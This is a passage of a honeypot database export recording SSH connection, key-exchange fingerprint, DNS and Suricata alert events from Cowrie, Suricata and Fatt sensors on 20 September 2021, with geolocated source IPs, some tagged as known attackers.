"2021-09-20T11:55:36.769282Z", "@timestamp": "2021-09-20T11:55:36.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33400	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:55:37.103863+03	2021-09-20 15:00:05.808722+03	{"_id": "tQYPA3wBvYTbRNuEw09_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1da1392e9119", "@version": "1", "timestamp": "2021-09-20T11:55:37.103863Z", "@timestamp": "2021-09-20T11:55:37.103Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33401	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:55:37.10314+03	2021-09-20 15:00:05.809722+03	{"_id": "uQYPA3wBvYTbRNuExE_J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 1573435343462627, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55274, "dest_port": 22, "timestamp": "2021-09-20T11:55:37.103140Z", "@timestamp": "2021-09-20T11:55:37.103Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33402	159.89.194.160	109.199.241.180	Fatt	2021-09-20 14:55:36.768774+03	2021-09-20 15:00:05.810722+03	{"_id": "vQYPA3wBvYTbRNuExU_W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35052, "dest_port": 22, "timestamp": "2021-09-20T11:55:36.768774", "@timestamp": "2021-09-20T11:55:36.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33403	91.200.124.7	109.199.241.180	Fatt	2021-09-20 14:55:37.103312+03	2021-09-20 15:00:05.811722+03	{"_id": "wAYPA3wBvYTbRNuExU_W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55274, "dest_port": 22, "timestamp": "2021-09-20T11:55:37.103312", "@timestamp": "2021-09-20T11:55:37.103Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33405	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:55:39.363394+03	2021-09-20 15:00:05.814722+03	{"_id": "0wYPA3wBvYTbRNuEz084", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:53972 (192.168.176.2:22) [session: 9a0a3ba7cd72]", "session": "9a0a3ba7cd72", "@version": "1", "protocol": "ssh", "src_port": 53972, "dest_port": 22, "timestamp": "2021-09-20T11:55:39.363394Z", "@timestamp": "2021-09-20T11:55:39.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33406	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:55:39.364133+03	2021-09-20 15:00:05.815722+03	{"_id": "1AYPA3wBvYTbRNuEz084", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9a0a3ba7cd72", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:55:39.364133Z", "@timestamp": "2021-09-20T11:55:39.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33407	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:55:40.125822+03	2021-09-20 15:00:05.816721+03	{"_id": "1QYPA3wBvYTbRNuE0E-C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 29702, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2934, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 532021738530463, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 37577, "timestamp": "2021-09-20T11:55:40.125822Z", "@timestamp": "2021-09-20T11:55:40.125Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33408	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:40.179511+03	2021-09-20 15:00:05.818722+03	{"_id": "2QYPA3wBvYTbRNuE0U-P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35844, "dest_port": 443, "timestamp": "2021-09-20T11:55:40.179511", "@timestamp": "2021-09-20T11:55:40.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33409	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:55:35.947392+03	2021-09-20 15:00:05.819722+03	{"_id": "pwYPA3wBvYTbRNuEv0-W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 157.245.53.4:50438 (192.168.176.2:22) [session: bff6e25bcde7]", "session": "bff6e25bcde7", "@version": "1", "protocol": "ssh", "src_port": 50438, "dest_port": 22, "timestamp": "2021-09-20T11:55:35.947392Z", "@timestamp": "2021-09-20T11:55:35.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
33601	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:22.159353+03	2021-09-20 15:00:06.069722+03	{"_id": "sQYQA3wBvYTbRNuEd1BM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:22.159353Z", "@timestamp": "2021-09-20T11:56:22.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33410	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:55:36.125651+03	2021-09-20 15:00:05.820722+03	{"_id": "qAYPA3wBvYTbRNuEwE_g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "flow_id": 589698854011194, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50438, "dest_port": 22, "timestamp": "2021-09-20T11:55:36.125651Z", "@timestamp": "2021-09-20T11:55:36.125Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
33411	157.245.53.4	109.199.241.180	Fatt	2021-09-20 14:55:36.125751+03	2021-09-20 15:00:05.821722+03	{"_id": "qwYPA3wBvYTbRNuEwU_t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-libssh2_1.9.0", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 50438, "dest_port": 22, "timestamp": "2021-09-20T11:55:36.125751", "@timestamp": "2021-09-20T11:55:36.125Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33412	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:55:36.592926+03	2021-09-20 15:00:05.823722+03	{"_id": "swYPA3wBvYTbRNuEw09_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "35150a728e0e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:55:36.592926Z", "@timestamp": "2021-09-20T11:55:36.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33413	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:55:37.103312+03	2021-09-20 15:00:05.824722+03	{"_id": "uwYPA3wBvYTbRNuExE_J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:55:37.024803+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1573435343462627, "payload": "AAADzAYUrhv2zk1kFHmgTxP65KTPwQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55274, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:55:37.103312Z", "@timestamp": "2021-09-20T11:55:37.103Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": 